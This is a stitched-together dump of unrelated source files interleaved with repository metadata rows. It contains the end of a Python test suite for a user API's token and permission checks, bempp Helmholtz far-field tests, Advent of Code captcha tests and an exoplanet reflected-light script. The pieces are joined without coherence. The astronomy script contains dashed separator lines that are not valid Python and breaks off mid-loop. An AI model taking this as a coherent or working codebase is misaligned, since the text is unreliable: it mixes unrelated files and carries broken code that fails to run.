self.assertEqual(r.json[keys[1]], ERROR_MISSING_TOKEN)
def test_put_edit_missing_access_token(self):
"""Test the Put method of the User view.
This test tries to edit a user without providing the access token,
which shouldn't work.
"""
# Edit user without providing the access token
u = {"name": "Test User"}
r = self.client.put(f'/users/user/{self.reg1["id"]}', json=u)
# Check status code
self.assertEqual(r.status_code, 401)
# Check message
keys = ("message", "message_type")
for i in keys:
self.assertIn(i, r.json)
self.assertEqual(r.json[keys[0]], MISSING_TOKEN)
self.assertEqual(r.json[keys[1]], ERROR_MISSING_TOKEN)
def test_put_new_invalid_access_token(self):
"""Test the Put method of the User view.
This test tries to create a new user providing an invalid access token,
which shouldn't work.
"""
# Create a user providing an invalid access token
headers = {"Authorization": "Bearer 1234"}
u = {"username": "test", "password": "test_password"}
r = self.client.put("/users/user", headers=headers, json=u)
# Check status code
self.assertEqual(r.status_code, 422)
# Check message
keys = ("message", "message_type")
for i in keys:
self.assertIn(i, r.json)
self.assertEqual(r.json[keys[0]], INVALID_TOKEN)
self.assertEqual(r.json[keys[1]], ERROR_INVALID_TOKEN)
def test_put_edit_invalid_access_token(self):
"""Test the Put method of the User view.
This test tries to edit a user providing an invalid access token, which
shouldn't work.
"""
# Edit user providing an invalid access token
headers = {"Authorization": "Bearer 1234"}
u = {"username": "test", "password": "test_password"}
url = f'/users/user/{self.reg1["id"]}'
r = self.client.put(url, headers=headers, json=u)
# Check status code
self.assertEqual(r.status_code, 422)
# Check message
keys = ("message", "message_type")
for i in keys:
self.assertIn(i, r.json)
self.assertEqual(r.json[keys[0]], INVALID_TOKEN)
self.assertEqual(r.json[keys[1]], ERROR_INVALID_TOKEN)
def test_put_new_unauthorized_user(self):
"""Test the Put method of the User view.
This test logs in as a not administrator user and then tries to create
a new user, which shouldn't work.
"""
# Log in
data = {
"username": self.reg1["username"],
"password": self.reg1["password"]}
r = self.client.post("/auth/login", json=data)
access_token = r.json["result"]["access_token"]
# Create a new, not administrator, user.
headers = {"Authorization": f"Bearer {access_token}"}
u = {
"username": "test",
"password": "test_password",
"admin": False,
"enabled": True}
r = self.client.put("/users/user", headers=headers, json=u)
# Check status code
self.assertEqual(r.status_code, 403)
# Check message
keys = ("message", "message_type")
for i in keys:
self.assertIn(i, r.json)
self.assertEqual(r.json[keys[0]], USER_UNAUTHORIZED)
self.assertEqual(r.json[keys[1]], ERROR_UNAUTHORIZED_USER)
def test_put_edit_unauthorized_user(self):
"""Test the Put method of the User view.
This test logs in as a not administrator user, tries to edit some
fields of itself which are not allowed to be modified and then tries to
modify another user, which shouldn't work in either case.
"""
# Log in
data = {
"username": self.reg1["username"],
"password": self.reg1["password"]}
r = self.client.post("/auth/login", json=data)
access_token = r.json["result"]["access_token"]
# Edit the "username", "admin" and "enabled" fields of the new user
headers = {"Authorization": f"Bearer {access_token}"}
user = {
"username": "test",
"admin": False,
"enabled": True}
for i in ("username", "admin", "enabled"):
# Edit the field
url = f'/users/user/{self.reg1["id"]}'
new_user = {i: user[i]}
r = self.client.put(url, headers=headers, json=new_user)
# Check status code
self.assertEqual(r.status_code, 400)
# Check message
keys = ("message", "message_type")
for i in keys:
self.assertIn(i, r.json)
self.assertEqual(r.json[keys[1]], ERROR_VALIDATION)
# Edit another user
url = f'/users/user/{self.reg2["id"]}'
new_user = {"name": "Test User"}
r = self.client.put(url, headers=headers, json=new_user)
# Check status code
self.assertEqual(r.status_code, 403)
# Check message
for i in keys:
self.assertIn(i, r.json)
self.assertEqual(r.json[keys[0]], USER_UNAUTHORIZED)
self.assertEqual(r.json[keys[1]], ERROR_UNAUTHORIZED_USER)
def test_put_new_missing_fields(self):
"""Test the Put method of the User view.
This test tries to create new users with some mandatory field missing,
which shouldn't work.
"""
# Log in
data = {
"username": self.admin["username"],
"password": self.admin["password"]}
r = self.client.post("/auth/login", json=data)
access_token = r.json["result"]["access_token"]
# Create a user without its username
headers = {"Authorization": f"Bearer {access_token}"}
u = {"password": "test_password"}
r1 = self.client.put("/users/user", headers=headers, json=u)
# Create a user without its password
u = {"username": "test"}
r2 = self.client.put("/users/user", headers=headers, json=u)
# Check status codes and messages
keys = ("message", "message_type")
for r in (r1, r2):
# Status code
self.assertEqual(r.status_code, 400)
# Message
for i in keys:
self.assertIn(i, r.json)
self.assertEqual(r.json[keys[1]], ERROR_VALIDATION)
def test_put_new_invalid_fields(self):
"""Test the Put method of the User view.
This test tries to create a new user providing some invalid/unexpected
field, which shouldn't work.
"""
# Log in
data = {
"username": self.admin["username"],
"password": self.admin["password"]}
r = self.client.post("/auth/login", json=data)
access_token = r.json["result"]["access_token"]
# Create a user providing an invalid field ("invalid_field")
headers = {"Authorization": f"Bearer {access_token}"}
u = {
"username": "test_user",
"password": "test_password",
"invalid_field": "1234"}
r = self.client.put("/users/user", headers=headers, json=u)
# Check status code
self.assertEqual(r.status_code, 400)
# Check message
keys = ("message", "message_type")
for i in keys:
self.assertIn(i, r.json)
self.assertEqual(r.json[keys[1]], ERROR_VALIDATION)
def test_put_edit_invalid_fields(self):
"""Test the Put method of the User view.
This test tries to edit a user providing some invalid/unexpected field,
which shouldn't work.
"""
# Log in
data = {
"username": self.admin["username"], "password":
self.admin["password"]}
r = self.client.post("/auth/login", json=data)
access_token = r.json["result"]["access_token"]
# Edit user providing an invalid field ("invalid_field")
headers = {"Authorization": f"Bearer {access_token}"}
u = {"password": "test_password", "invalid_field": "1234"}
url = f'/users/user/{self.reg1["id"]}'
r = self.client.put(url, headers=headers, json=u)
# Check status code
self.assertEqual(r.status_code, 400)
# Check message
keys = ("message", "message_type")
for i in keys:
self.assertIn(i, r.json)
self.assertEqual(r.json[keys[1]], ERROR_VALIDATION)
def test_put_new_password_length(self):
"""Test the Put method of the User view.
This test tries to create a new user with a password that has less than
8 characters and another user with a password that has more than 100
characters, which shouldn't work in either case.
"""
# Log in
data = {
"username": self.admin["username"],
"password": self.admin["password"]}
r = self.client.post("/auth/login", json=data)
access_token = r.json["result"]["access_token"]
# Create users
headers = {"Authorization": f"Bearer {access_token}"}
keys = ("message", "message_type")
for i, p in enumerate(("test", "test" * 100)):
u = {"username": f"test{i}", "password": p}
r = self.client.put("/users/user", headers=headers, json=u)
# Check status code
self.assertEqual(r.status_code, 400)
# Check message
for i in keys:
self.assertIn(i, r.json)
self.assertEqual(r.json[keys[1]], ERROR_VALIDATION)
def test_put_edit_password_length(self):
"""Test the Put method of the User view.
This test logs in as some user, tries to change its password with a new
one that has less than 8 characters and then tries to change it with
another one that has more than 100 characters, which shouldn't work in
either case.
"""
# Log in
data = {
"username": self.reg1["username"],
"password": self.reg1["password"]}
r = self.client.post("/auth/login", json=data)
access_token = r.json["result"]["access_token"]
# Edit user
headers = {"Authorization": f"Bearer {access_token}"}
for p in ("test", "test" * 100):
url = f'/users/user/{self.reg1["id"]}'
u = {"password": p}
r = self.client.put(url, headers=headers, json=u)
# Check status code
self.assertEqual(r.status_code, 400)
# Check message
keys = ("message", "message_type")
for i in keys:
self.assertIn(i, r.json)
self.assertEqual(r.json[keys[1]], ERROR_VALIDATION)
def test_put_new_user_exists(self):
"""Test the Put method of the User view.
This test tries to create a new user with the same username of another
user, which shouldn't work.
"""
# Log in
data = {
"username": self.admin["username"],
"password": self.admin["password"]}
r = self.client.post("/auth/login", json=data)
access_token = r.json["result"]["access_token"]
# Create user
headers = {"Authorization": f"Bearer {access_token}"}
u = {"username": self.reg1["username"], "password": "test_password"}
r = self.client.put("/users/user", headers=headers, json=u)
# Check status code
self.assertEqual(r.status_code, 400)
# Check message
keys = ("message", "message_type")
for i in keys:
self.assertIn(i, r.json)
self.assertEqual(r.json[keys[0]], EXISTS)
self.assertEqual(r.json[keys[1]], ERROR_ITEM_EXISTS)
def test_put_edit_user_not_found(self):
"""Test the Put method of the User view.
This tries to edit some user that doesn't exist, which shouldn't work.
"""
# Log in
data = {
"username": self.admin["username"],
"password": self.admin["password"]}
r = self.client.post("/auth/login", json=data)
access_token = r.json["result"]["access_token"]
# Edit user that doesn't exist
url = f"/users/user/{get_uuid()}"
headers = {"Authorization": f"Bearer {access_token}"}
u = {"username": self.admin["username"], "name": "Test"}
r = self.client.put(url, headers=headers, json=u)
# Check status code
self.assertEqual(r.status_code, 404)
# Check message
keys = ("message", "message_type")
for i in keys:
self.assertIn(i, r.json)
self.assertEqual(r.json[keys[0]], NOT_FOUND)
self.assertEqual(r.json[keys[1]], ERROR_ITEM_NOT_FOUND)
def test_delete(self):
"""Test the Delete method of the User view.
This test logs in as an administrator user and tries to delete a user,
which should work.
"""
# Log in
data = {
"username": self.admin["username"],
"password": self.admin["password"]}
r = self.client.post("/auth/login", json=data)
access_token = r.json["result"]["access_token"]
# Delete user
url = f'/users/user/{self.reg1["id"]}'
headers = {"Authorization": f"Bearer {access_token}"}
r = self.client.delete(url, headers=headers)
# Check status code
self.assertEqual(r.status_code, 200)
# Check message
keys = ("message", "message_type")
for i in keys:
self.assertIn(i, r.json)
self.assertEqual(r.json[keys[0]], DELETED)
self.assertEqual(r.json[keys[1]], OK)
# Get the user list
r = self.client.get("/users/users", headers=headers)
users = r.json["result"]
# Check list
self.assertEqual(len(users), 2)
self.assertEqual(users[0]["id"], self.admin["id"])
self.assertEqual(users[1]["id"], self.reg2["id"])
def test_delete_missing_access_token(self):
"""Test the Delete method of the User view.
This test tries to delete some user without providing the access token,
which shouldn't work.
"""
# Delete user
r = self.client.delete(f'/users/user/{self.reg1["id"]}')
# Check status code
self.assertEqual(r.status_code, 401)
# Check message
keys = ("message", "message_type")
for i in keys:
self.assertIn(i, r.json)
self.assertEqual(r.json[keys[0]], MISSING_TOKEN)
self.assertEqual(r.json[keys[1]], ERROR_MISSING_TOKEN)
def test_delete_invalid_access_token(self):
"""Test the Delete method of the User view.
This test tries to delete some user providing an invalid access token,
which shouldn't work.
"""
# Delete user providing an invalid access token
url = f'/users/user/{self.reg1["id"]}'
headers = {"Authorization": "Bearer 1234"}
r = self.client.delete(url, headers=headers)
# Check status code
self.assertEqual(r.status_code, 422)
# Check message
keys = ("message", "message_type")
for i in keys:
self.assertIn(i, r.json)
self.assertEqual(r.json[keys[0]], INVALID_TOKEN)
self.assertEqual(r.json[keys[1]], ERROR_INVALID_TOKEN)
def test_delete_access_token_not_fresh(self):
"""Test the Delete method of the User view.
This test tries to delete some user providing a not fresh access token,
which shouldn't work.
"""
# Log in
data = {
"username": self.admin["username"],
"password": self.admin["password"]}
r = self.client.post("/auth/login", json=data)
refresh_token = r.json["result"]["refresh_token"]
# Get a new, not fresh, access token
headers = {"Authorization": f"Bearer {refresh_token}"}
r = self.client.get("/auth/refresh", headers=headers)
access_token = r.json["result"]["access_token"]
# Delete user
url = f'/users/user/{self.reg1["id"]}'
headers = {"Authorization": f"Bearer {access_token}"}
r = self.client.delete(url, headers=headers)
# Check status code
self.assertEqual(r.status_code, 401)
# Check message
keys = ("message", "message_type")
for i in keys:
self.assertIn(i, r.json)
self.assertEqual(r.json[keys[0]], NOT_FRESH_TOKEN)
self.assertEqual(r.json[keys[1]], ERROR_NOT_FRESH_TOKEN)
def test_delete_unauthorized_user(self):
"""Test the Delete method of the User view.
This test logs in as a not administrator user and then tries to delete
itself and another user, which shouldn't work in either case.
"""
# Log in
data = {
"username": self.reg1["username"],
"password": self.reg1["password"]}
r = self.client.post("/auth/login", json=data)
access_token = r.json["result"]["access_token"]
# Delete users
headers = {"Authorization": f"Bearer {access_token}"}
keys = ("message", "message_type")
for i in (self.reg1["id"], self.reg2["id"]):
r = self.client.delete(f"/users/user/{i}", headers=headers)
# Check status code
self.assertEqual(r.status_code, 403)
# Check message
for i in keys:
self.assertIn(i, r.json)
self.assertEqual(r.json[keys[0]], USER_UNAUTHORIZED)
self.assertEqual(r.json[keys[1]], ERROR_UNAUTHORIZED_USER)
def test_delete_user_not_found(self):
"""Test the Delete method of the User view.
This test tries to delete a user that doesn't exist, which shouldn't
work.
"""
# Log in
data = {
"username": self.admin["username"],
"password": self.admin["password"]}
r = self.client.post("/auth/login", json=data)
access_token = r.json["result"]["access_token"]
# Delete a user with an ID that doesn't exist
headers = {"Authorization": f"Bearer {access_token}"}
r = self.client.delete(f"/users/user/{get_uuid()}", headers=headers)
# Check status code
self.assertEqual(r.status_code, 404)
# Check message
keys = ("message", "message_type")
for i in keys:
self.assertIn(i, r.json)
self.assertEqual(r.json[keys[0]], NOT_FOUND)
self.assertEqual(r.json[keys[1]], ERROR_ITEM_NOT_FOUND)
if __name__ == "__main__":
unittest.main()
| 32.394082
| 79
| 0.573718
| 6,040
| 48,170
| 4.49106
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| 0.872521
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| 0.085979
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| 0
| 0
|
0
| 8
|
9a3a88af1be183bfe971ba94ff78763cce263c57
| 198
|
py
|
Python
|
ikibardin/power-fist-segmentation/power_fist/__init__.py
|
SpaceNetChallenge/SpaceNet_Optimized_Routing_Solutions
|
3fbc215de6b05904a5b54b2c7cde7e61074ae38d
|
[
"Apache-2.0"
] | 27
|
2020-03-04T05:54:48.000Z
|
2022-01-05T07:07:44.000Z
|
ikibardin/power-fist-segmentation/power_fist/__init__.py
|
CosmiQ/SpaceNet_Optimized_Routing_Solutions
|
3fbc215de6b05904a5b54b2c7cde7e61074ae38d
|
[
"Apache-2.0"
] | 1
|
2020-07-14T10:35:50.000Z
|
2020-07-14T10:35:50.000Z
|
ikibardin/power-fist-segmentation/power_fist/__init__.py
|
SpaceNetChallenge/SpaceNet_Optimized_Routing_Solutions
|
3fbc215de6b05904a5b54b2c7cde7e61074ae38d
|
[
"Apache-2.0"
] | 7
|
2020-03-07T21:42:57.000Z
|
2022-01-07T10:49:50.000Z
|
from power_fist import n02_config as config_utils
from power_fist import n05_pipeline as pipeline
from power_fist import n01_utils as utils
from power_fist import n06_units_factory as units_factory
| 39.6
| 57
| 0.878788
| 35
| 198
| 4.657143
| 0.4
| 0.220859
| 0.319018
| 0.466258
| 0.294479
| 0
| 0
| 0
| 0
| 0
| 0
| 0.045977
| 0.121212
| 198
| 4
| 58
| 49.5
| 0.890805
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| 0
| 1
| 0
|
0
| 7
|
7bddc8f8ab2294ebd8e092474c039459241cff06
| 7,778
|
py
|
Python
|
test/validation/operators/far_field/test_helmholtz_far_field.py
|
pescap/bempp-cl
|
3a68666e8db0e873d418b734289067483f68f12e
|
[
"MIT"
] | 70
|
2019-09-04T15:15:05.000Z
|
2022-03-22T16:54:40.000Z
|
test/validation/operators/far_field/test_helmholtz_far_field.py
|
pescap/bempp-cl
|
3a68666e8db0e873d418b734289067483f68f12e
|
[
"MIT"
] | 66
|
2020-01-16T08:31:00.000Z
|
2022-03-25T11:18:59.000Z
|
test/validation/operators/far_field/test_helmholtz_far_field.py
|
pescap/bempp-cl
|
3a68666e8db0e873d418b734289067483f68f12e
|
[
"MIT"
] | 22
|
2019-09-30T08:50:33.000Z
|
2022-03-20T19:37:22.000Z
|
"""Unit tests for Helmholtz far-field assemblers."""
# pylint: disable=redefined-outer-name
# pylint: disable=C0103
import numpy as _np
import pytest
WAVENUMBER = 2.5
pytestmark = pytest.mark.usefixtures("default_parameters", "helpers")
def test_helmholtz_single_layer_far_field(
default_parameters, helpers, device_interface, precision
):
"""Test Helmholtz slp far-field with p1 basis."""
from bempp.api import function_space
from bempp.api import GridFunction
from bempp.api.operators.far_field.helmholtz import single_layer
grid = helpers.load_grid("sphere")
space = function_space(grid, "P", 1)
data = helpers.load_npz_data("helmholtz_single_layer_far_field_p1")
coefficients = data["vec"]
points = data["points"]
expected = data["result"]
fun = GridFunction(space, coefficients=coefficients)
actual = single_layer(
space,
points,
WAVENUMBER,
parameters=default_parameters,
precision=precision,
device_interface=device_interface,
).evaluate(fun)
_np.testing.assert_allclose(
actual, expected, rtol=helpers.default_tolerance(precision)
)
def test_helmholtz_double_layer_potential_p1(
default_parameters, helpers, device_interface, precision
):
"""Test Helmholtz dlp far field with p1 basis."""
from bempp.api import function_space
from bempp.api import GridFunction
from bempp.api.operators.far_field.helmholtz import double_layer
grid = helpers.load_grid("sphere")
space = function_space(grid, "P", 1)
data = helpers.load_npz_data("helmholtz_double_layer_far_field_p1")
coefficients = data["vec"]
points = data["points"]
expected = data["result"]
fun = GridFunction(space, coefficients=coefficients)
actual = double_layer(
space,
points,
WAVENUMBER,
parameters=default_parameters,
precision=precision,
device_interface=device_interface,
).evaluate(fun)
_np.testing.assert_allclose(
actual, expected, rtol=helpers.default_tolerance(precision)
)
def test_helmholtz_far_field_segments(
default_parameters, helpers, device_interface, precision
):
"""Test Helmholtz far field on segments."""
import bempp.api
from bempp.api import function_space
from bempp.api.operators.far_field.helmholtz import single_layer
from bempp.api.operators.far_field.helmholtz import double_layer
from bempp.api.grid.grid import grid_from_segments
grid = bempp.api.shapes.multitrace_cube()
seglists = [[1, 2, 3, 4, 5, 6], [6, 7, 8, 9, 10, 11]]
swapped_normal_lists = [{}, {6}]
rand = _np.random.RandomState(0)
points = rand.randn(3, 10)
points /= _np.linalg.norm(points, axis=0)
for op in [single_layer, double_layer]:
for seglist, swapped_normals in zip(seglists, swapped_normal_lists):
new_grid = grid_from_segments(grid, seglist)
coeffs = rand.rand(new_grid.number_of_vertices)
space1 = function_space(
grid,
"P",
1,
segments=seglist,
swapped_normals=swapped_normals,
include_boundary_dofs=True,
)
space2 = function_space(new_grid, "P", 1, swapped_normals=swapped_normals)
fun1 = bempp.api.GridFunction(space1, coefficients=coeffs)
fun2 = bempp.api.GridFunction(space2, coefficients=coeffs)
actual = (
op(
space1,
points,
2.5,
device_interface=device_interface,
precision=precision,
)
* fun1
)
expected = (
op(
space2,
points,
2.5,
device_interface=device_interface,
precision=precision,
)
* fun2
)
_np.testing.assert_allclose(
actual, expected, rtol=helpers.default_tolerance(precision)
)
def test_helmholtz_far_field_complex_coeffs(
default_parameters, helpers, device_interface, precision
):
"""Test Helmholtz far field ops with complex coefficients."""
import bempp.api
from bempp.api.operators.far_field.helmholtz import single_layer
from bempp.api.operators.far_field.helmholtz import double_layer
grid = bempp.api.shapes.regular_sphere(3)
space = bempp.api.function_space(grid, "P", 1)
random = _np.random.RandomState(0)
points = random.randn(3, 10)
points /= _np.linalg.norm(points, axis=0)
coeffs_real = random.rand(grid.number_of_vertices)
coeffs_imag = random.rand(grid.number_of_vertices)
coeffs = coeffs_real + 1j * coeffs_imag
fun_real = bempp.api.GridFunction(space, coefficients=coeffs_real)
fun_imag = bempp.api.GridFunction(space, coefficients=coeffs_imag)
fun = bempp.api.GridFunction(space, coefficients=coeffs)
for op in [single_layer, double_layer]:
far_field_op = op(
space,
points,
WAVENUMBER,
device_interface=device_interface,
precision=precision,
)
actual_real = far_field_op * fun_real
actual_imag = far_field_op * fun_imag
actual = actual_real + 1j * actual_imag
expected = far_field_op * fun
_np.testing.assert_allclose(
actual, expected, rtol=helpers.default_tolerance(precision)
)
def test_helmholtz_far_field_segments_complex_coeffs(
default_parameters, helpers, device_interface, precision
):
"""Test Maxwell potentials on segments with complex coeffs."""
import bempp.api
from bempp.api import function_space
from bempp.api.operators.far_field.helmholtz import single_layer
from bempp.api.operators.far_field.helmholtz import double_layer
from bempp.api.grid.grid import grid_from_segments
grid = bempp.api.shapes.multitrace_cube()
seglists = [[1, 2, 3, 4, 5, 6], [6, 7, 8, 9, 10, 11]]
swapped_normal_lists = [{}, {6}]
rand = _np.random.RandomState(0)
points = rand.randn(3, 10)
points /= _np.linalg.norm(points, axis=0)
for op in [single_layer, double_layer]:
for seglist, swapped_normals in zip(seglists, swapped_normal_lists):
new_grid = grid_from_segments(grid, seglist)
coeffs = rand.rand(new_grid.number_of_vertices) + 1j * rand.rand(
new_grid.number_of_vertices
)
space1 = function_space(
grid,
"P",
1,
segments=seglist,
swapped_normals=swapped_normals,
include_boundary_dofs=True,
)
space2 = function_space(new_grid, "P", 1, swapped_normals=swapped_normals)
fun1 = bempp.api.GridFunction(space1, coefficients=coeffs)
fun2 = bempp.api.GridFunction(space2, coefficients=coeffs)
actual = (
op(
space1,
points,
2.5,
device_interface=device_interface,
precision=precision,
)
* fun1
)
expected = (
op(
space2,
points,
2.5,
device_interface=device_interface,
precision=precision,
)
* fun2
)
_np.testing.assert_allclose(
actual, expected, rtol=helpers.default_tolerance(precision)
)
| 31.112
| 86
| 0.616097
| 846
| 7,778
| 5.431442
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| 0.860065
| 0.818498
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| 249
| 87
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| 0
| 0
|
0
| 7
|
d0093c135b1b67654250ea8dc43274b630ca6904
| 2,771
|
py
|
Python
|
1/test_main.py
|
Poogles/adventofcode2017
|
1a961df3583d27cc5e27b0fa26b6316568edbb1c
|
[
"MIT"
] | null | null | null |
1/test_main.py
|
Poogles/adventofcode2017
|
1a961df3583d27cc5e27b0fa26b6316568edbb1c
|
[
"MIT"
] | null | null | null |
1/test_main.py
|
Poogles/adventofcode2017
|
1a961df3583d27cc5e27b0fa26b6316568edbb1c
|
[
"MIT"
] | null | null | null |
from main import inverse_captcha, inverse_captcha_extended
CHALLENGE_ONE_VALUE = 5672987533353956199629683941564528646262567117433461547747793928322958646779832484689174151918261551689221756165598898428736782194511627829355718493723961323272136452517987471351381881946883528248611611258656199812998632682668749683588515362946994415852337196718476219162124978836537348924591957188827929753417884942133844664636969742547717228255739959316351852731598292529837885992781815131876183578461135791315287135243541659853734343376618419952776165544829717676988897684141328138348382882699672957866146524759879236555935723655326743713542931693477824289283542468639522271643257212833248165391957686226311246517978319253977276663825479144321155712866946255992634876158822855382331452649953283788863248192338245943966269197421474555779135168637263279579842885347152287275679811576594376535226167894981226866222987522415785244875882556414956724976341627123557214837873872723618395529735349273241686548287549763993653379539445435319698825465289817663294436458194867278623978745981799283789237555242728291337538498616929817268211698649236646127899982839523784837752863458819965485149812959121884771849954723259365778151788719941888128618552455879369919511319735525621198185634342538848462461833332917986297445388515717463168515123732455576143447454835849565757773325367469763383757677938748319968971312267871619951657267913817242485559771582167295794259441256284168356292785568858527184122231262465193612127961685513913835274823892596923786613299747347259254823531262185328274367529265868856512185135329652635938373266759964119863494798222245536758792389789818646655287856173534479551364115976811459677123592747375296313667253413698823655218254168196162883437389718167743871216373164865426458794239496224858971694877159591215772938396827435289734165853975267521291574436567193473814247981877735223376964125359992555885137816647382139596646856417424617847981855532914872251686719394341764324395254556782277426326331441981737557262581762412544849689472281645835957667217384334435391572985228286537574388834835693416821419655967456137395465649249256572866516984318344482684936625486311718525523265165
def test_inverse_captcha():
assert inverse_captcha(1122) == 3
assert inverse_captcha(1111) == 4
assert inverse_captcha(1234) == 0
assert inverse_captcha(91212129) == 9
assert inverse_captcha(CHALLENGE_ONE_VALUE) == 1136
def test_inverse_captcha_extended():
assert inverse_captcha_extended(1212) == 6
assert inverse_captcha_extended(1221) == 0
assert inverse_captcha_extended(123425) == 4
assert inverse_captcha_extended(123123) == 12
assert inverse_captcha_extended(12131415) == 4
assert inverse_captcha_extended(CHALLENGE_ONE_VALUE) == 1092
| 131.952381
| 2,120
| 0.943342
| 86
| 2,771
| 30.034884
| 0.348837
| 0.081301
| 0.085172
| 0.065041
| 0.044135
| 0.030197
| 0
| 0
| 0
| 0
| 0
| 0.811703
| 0.037892
| 2,771
| 20
| 2,121
| 138.55
| 0.157164
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0.733333
| 1
| 0.133333
| false
| 0
| 0.066667
| 0
| 0.2
| 0
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
d00a0f931ed496ec6223fff35352f344f8faab68
| 8,766
|
py
|
Python
|
SHAPE/code.py
|
Shubhonkar-Paramanick/SHAPE
|
e9791a9606074ea7a9ba0ceba472f2d24779c59f
|
[
"MIT"
] | null | null | null |
SHAPE/code.py
|
Shubhonkar-Paramanick/SHAPE
|
e9791a9606074ea7a9ba0ceba472f2d24779c59f
|
[
"MIT"
] | null | null | null |
SHAPE/code.py
|
Shubhonkar-Paramanick/SHAPE
|
e9791a9606074ea7a9ba0ceba472f2d24779c59f
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env python3
import numpy as np
import scipy as sp
import pandas as pd
import matplotlib.pyplot as plt
import math
import matplotlib.font_manager
plt.rcParams['figure.figsize'] = [12,7]
plt.rcParams["font.family"] = "Times New Roman"
------------------------------------------------------------------------------
# 51 Pegasi b
Ag=0.5
Rp = 1.3583*(10**(8))
Rs = 8.6058*(10**(8))
a = 0.052*149.60*(10**(9))
theta = np.linspace(0,2*np.pi,1)
e = 0.0069
r = (a*(1-(e**2)))/(1+(e*(np.cos(theta))))
Ls = 1.3*3.827*(10**26)
Omega = Ag*(3/2)
------------------------------------------------------------------------------
# Fractional Flux with Plane Parallel Ray Approximation
N_Orbit = 1
PSI = np.zeros([1000,np.ceil(N_Orbit).astype('int')])
FF = np.zeros([1000,np.ceil(N_Orbit).astype('int')])
for j in range(1, np.ceil(N_Orbit).astype('int')+1):
if j != np.ceil(N_Orbit).astype('int'):
psi = np.linspace(2*(j-1)*(np.pi),2*j*np.pi,1000)
ff = (np.sign((((2*j)-1)*(np.pi))-psi))*Ag*((Rp/r)**2)*(((((((2*j)-1)*(np.pi))-psi)*(np.cos(psi)))+(np.sin(psi)))/(4*np.pi))
PSI[:,j-1] = psi
FF[:,j-1] = ff
elif(j == np.ceil(N_Orbit).astype('int') and np.modf(N_Orbit)[0] ==0):
psi = np.linspace(2*(j-1)*(np.pi),2*(j)*np.pi,1000)
ff = (np.sign((((2*j)-1)*(np.pi))-psi))*Ag*((Rp/r)**2)*(((((((2*j)-1)*(np.pi))-psi)*(np.cos(psi)))+(np.sin(psi)))/(4*np.pi))
PSI[:,j-1] = psi
FF[:,j-1] = ff
elif(j == np.ceil(N_Orbit).astype('int') and np.modf(N_Orbit)[0] !=0):
psi = np.linspace(2*(j-1)*(np.pi),2*((j-1)+(np.modf(N_Orbit)[0]))*np.pi,1000)
ff = (np.sign((((2*j)-1)*(np.pi))-psi))*Ag*((Rp/r)**2)*(((((((2*j)-1)*(np.pi))-psi)*(np.cos(psi)))+(np.sin(psi)))/(4*np.pi))
PSI[:,j-1] = psi
FF[:,j-1] = ff
plt.plot(psi,ff, 'k--')
plt.xlabel('Time / Phase Angle', fontsize=16)
plt.ylabel('Reflected Fractional Flux ($\mathfrak{F}$)', fontsize=16)
#plt.legend(fontsize=14)
plt.legend(['Reflected Light of a Planet over %s Orbits' %N_Orbit],bbox_to_anchor=(1, 1), loc='upper right', borderaxespad=0.5, fontsize=14)
plt.show()
-----------------------------------------------------------------------------
# Luminosity with Plane Parallel Ray Approximation
N_Orbit = 1
PSI = np.zeros([1000,np.ceil(N_Orbit).astype('int')])
LUM = np.zeros([1000,np.ceil(N_Orbit).astype('int')])
for j in range(1, np.ceil(N_Orbit).astype('int')+1):
if j != np.ceil(N_Orbit).astype('int'):
psi = np.linspace(2*(j-1)*(np.pi),2*j*np.pi,1000)
lum = (2/3)*(Ls)*(np.sign((((2*j)-1)*(np.pi))-psi))*Omega*((Rp/r)**2)*(((((((2*j)-1)*(np.pi))-psi)*(np.cos(psi)))+(np.sin(psi)))/(4*np.pi))
PSI[:,j-1] = psi
LUM[:,j-1] = lum
elif(j == np.ceil(N_Orbit).astype('int') and np.modf(N_Orbit)[0] ==0):
psi = np.linspace(2*(j-1)*(np.pi),2*(j)*np.pi,1000)
lum = (2/3)*(Ls)*(np.sign((((2*j)-1)*(np.pi))-psi))*Omega*((Rp/r)**2)*(((((((2*j)-1)*(np.pi))-psi)*(np.cos(psi)))+(np.sin(psi)))/(4*np.pi))
PSI[:,j-1] = psi
LUM[:,j-1] = lum
elif(j == np.ceil(N_Orbit).astype('int') and np.modf(N_Orbit)[0] !=0):
psi = np.linspace(2*(j-1)*(np.pi),2*((j-1)+(np.modf(N_Orbit)[0]))*np.pi,1000)
lum = (2/3)*(Ls)*(np.sign((((2*j)-1)*(np.pi))-psi))*Omega*((Rp/r)**2)*(((((((2*j)-1)*(np.pi))-psi)*(np.cos(psi)))+(np.sin(psi)))/(4*np.pi))
PSI[:,j-1] = psi
LUM[:,j-1] = lum
plt.plot(psi,lum, 'g--')
plt.xlabel('Time / Phase Angle', fontsize=16)
plt.ylabel('Reflected Luminosity ($\mathcal{L}$)', fontsize=16)
#plt.legend(fontsize=14)
plt.legend(['Reflected Light of a Planet over %s Orbits' %N_Orbit],bbox_to_anchor=(1, 1), loc='upper right', borderaxespad=0.5, fontsize=14)
plt.show()
-----------------------------------------------------------------------------
# Luminosity for Close-in Planets (Kopal, 1954)
N_Orbit = 1
PSI = np.zeros([1000,np.ceil(N_Orbit).astype('int')])
LUM_K = np.zeros([1000,np.ceil(N_Orbit).astype('int')])
for j in range(1, np.ceil(N_Orbit).astype('int')+1):
if j != np.ceil(N_Orbit).astype('int'):
psi = np.linspace(2*(j-1)*(np.pi),2*j*np.pi,1000)
lum_k = Ls*(((2/3)*(np.sign((((2*j)-1)*(np.pi))-psi))*Omega*((Rp/r)**2)*(((((((2*j)-1)*(np.pi))-psi)*(np.cos(psi)))+(np.sin(psi)))/(4*np.pi))) + ((1/32)*((Rp/r)**3)*((3*(np.cos(psi))**2)+(2*np.cos(psi))-1)) + (((Rp/r)**4)*(((np.cos(psi))**2)*(np.sin(psi)))/(4*np.pi)) - (((((Rp*Rs)**0.5)/r)**4)*(np.sin(psi))/(4*np.pi)))
PSI[:,j-1] = psi
LUM_K[:,j-1] = lum_k
elif(j == np.ceil(N_Orbit).astype('int') and np.modf(N_Orbit)[0] ==0):
psi = np.linspace(2*(j-1)*(np.pi),2*(j)*np.pi,1000)
